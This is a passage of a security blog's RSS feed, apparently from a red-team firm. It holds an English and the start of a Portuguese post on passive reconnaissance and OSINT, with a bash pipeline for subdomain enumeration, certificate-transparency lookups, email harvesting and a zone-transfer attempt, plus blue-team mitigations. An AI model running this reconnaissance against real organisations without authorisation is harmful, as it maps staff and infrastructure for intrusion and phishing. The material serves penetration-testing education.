&lt;span class=&quot;line&quot;&gt;&lt;span&gt;├── credentials/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;│   └── leaked_creds.txt     # leaks in breaches&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;└── code/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    └── github_findings.txt  # findings in public repositories&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# passive_recon.sh — Complete passive recon pipeline&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;${1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:?&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;Usage&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;$0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;domain&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;./intel/$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;{DOMAIN}&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;{domains,ips,people,tech}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[*] Starting passive recon &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Subdomains&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[+] Enumerating subdomains...&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;subfinder&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;-all&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -silent&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}/domains/subfinder.txt&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amass&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; enum&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -passive&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}/domains/amass.txt&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}/domains/subfinder.txt&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}/domains/amass.txt&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}/domains/all_subdomains.txt&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;    &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;$(wc&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;lt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}/domains/all_subdomains.txt&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;) unique subdomains&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# DNS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[+] Pulling DNS records...&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ANY&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; +short&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}/domains/dns.txt&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -s&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;https://crt.sh/?q&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=%&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;amp&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;output&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;=json&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;\&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;jq&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;#x27;.[].name_value&amp;#x26;#x27; | sort -u &amp;#x26;gt;&amp;#x26;gt; &amp;#x26;quot;${OUTPUT}/domains/all_subdomains.txt&amp;#x26;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Emails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[+] Harvesting emails...&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; theHarvester.py&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;DOMAIN&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;-b&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; google,hunter&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -l&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 200&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;  | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -E&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;@$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;{DOMAIN}&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; | &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;gt&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}/people/emails.txt&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;[✓] Recon complete. Output: ${&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;OUTPUT&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;}&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;quot&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;mitigations-blue-team&quot;&gt;Mitigations (Blue Team)&lt;/h2&gt;

































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Vector&lt;/th&gt;&lt;th&gt;Mitigation&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Google Dorks&lt;/td&gt;&lt;td&gt;Google Search Console — remove sensitive URLs from the index&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;WHOIS&lt;/td&gt;&lt;td&gt;Use domain privacy (WHOIS Privacy)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Certificate Transparency&lt;/td&gt;&lt;td&gt;Unavoidable — use generic subdomains&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Shodan&lt;/td&gt;&lt;td&gt;Firewalls with no-scan rules; &lt;code&gt;X-Robots-Tag: noindex&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GitHub leaks&lt;/td&gt;&lt;td&gt;Pre-commit hooks + active secret scanning&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LinkedIn OSINT&lt;/td&gt;&lt;td&gt;Limit technology information in public profiles&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&gt; &lt;strong&gt;Legal note:&lt;/strong&gt; These techniques should be used exclusively in authorized engagements or for educational purposes. Unauthorized use is illegal.&lt;/p&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>recon</category><category>osint</category><category>recon</category><category>passive</category><category>shodan</category><category>theHarvester</category><category>amass</category><category>google-dorks</category><difficulty>easy</difficulty></item><item><title>Passive Recon &amp; OSINT — Mapeando o Alvo Sem Fazer Ruído</title><link>https://www.kbmsecurity.com.br/blog/post/passive-recon-osint/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/passive-recon-osint/</guid><description>Técnicas de reconhecimento passivo e OSINT para mapear infraestrutura, funcionários e superfície de ataque antes de qualquer engajamento ativo.</description><pubDate>Tue, 07 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;o-que-é-reconhecimento-passivo&quot;&gt;O que é Reconhecimento Passivo?&lt;/h2&gt;
&lt;p&gt;Reconhecimento passivo é a fase de coleta de inteligência onde o operador &lt;strong&gt;nunca interage diretamente&lt;/strong&gt; com a infraestrutura do alvo. Toda informação é obtida através de fontes abertas (OSINT — Open Source Intelligence) ou intermediários públicos.&lt;/p&gt;
&lt;p&gt;A vantagem crítica: &lt;strong&gt;zero logs no alvo&lt;/strong&gt;. Nenhum IDS, WAF ou SIEM do cliente verá sua atividade.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Regra de ouro:&lt;/strong&gt; quanto mais você sabe antes de tocar a rede, menor sua superfície de exposição durante o engajamento ativo.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&quot;fase-1--footprinting-de-domínio&quot;&gt;Fase 1 — Footprinting de Domínio&lt;/h2&gt;
&lt;h3 id=&quot;whois-e-registros-dns&quot;&gt;WHOIS e Registros DNS&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Informações de registro do domínio&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;whois&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Consultas DNS fundamentais&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ANY&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; MX&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; NS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; TXT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Zone transfer (frequentemente bloqueado, mas vale tentar)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;dig&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; axfr&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; @ns1.target.com&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; target.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Subdomínios via certificate transparency&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;curl&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; -s&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;https://crt.sh/?q=%.target.com&amp;#x26;output=json&quot;&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
